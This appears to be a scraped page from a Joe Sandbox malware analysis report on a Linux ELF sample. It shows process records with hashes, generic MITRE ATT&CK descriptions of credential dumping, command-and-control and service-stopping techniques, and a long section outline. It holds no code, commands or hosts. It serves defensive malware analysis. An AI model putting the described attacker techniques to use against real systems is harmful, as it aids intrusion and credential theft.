Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	00:19:40
Start date (UTC):	17/10/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 9zldYT23H2.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: 9zldYT23H2.elf PID: 5530, Parent PID: 5448

General

Chronological Activities

Analysis Process: 9zldYT23H2.elf PID: 5532, Parent PID: 5530

General

Chronological Activities

Analysis Process: 9zldYT23H2.elf PID: 5534, Parent PID: 5532

General

Chronological Activities

Analysis Process: 9zldYT23H2.elf PID: 5535, Parent PID: 5532

General

Chronological Activities

Linux Analysis Report
9zldYT23H2.elf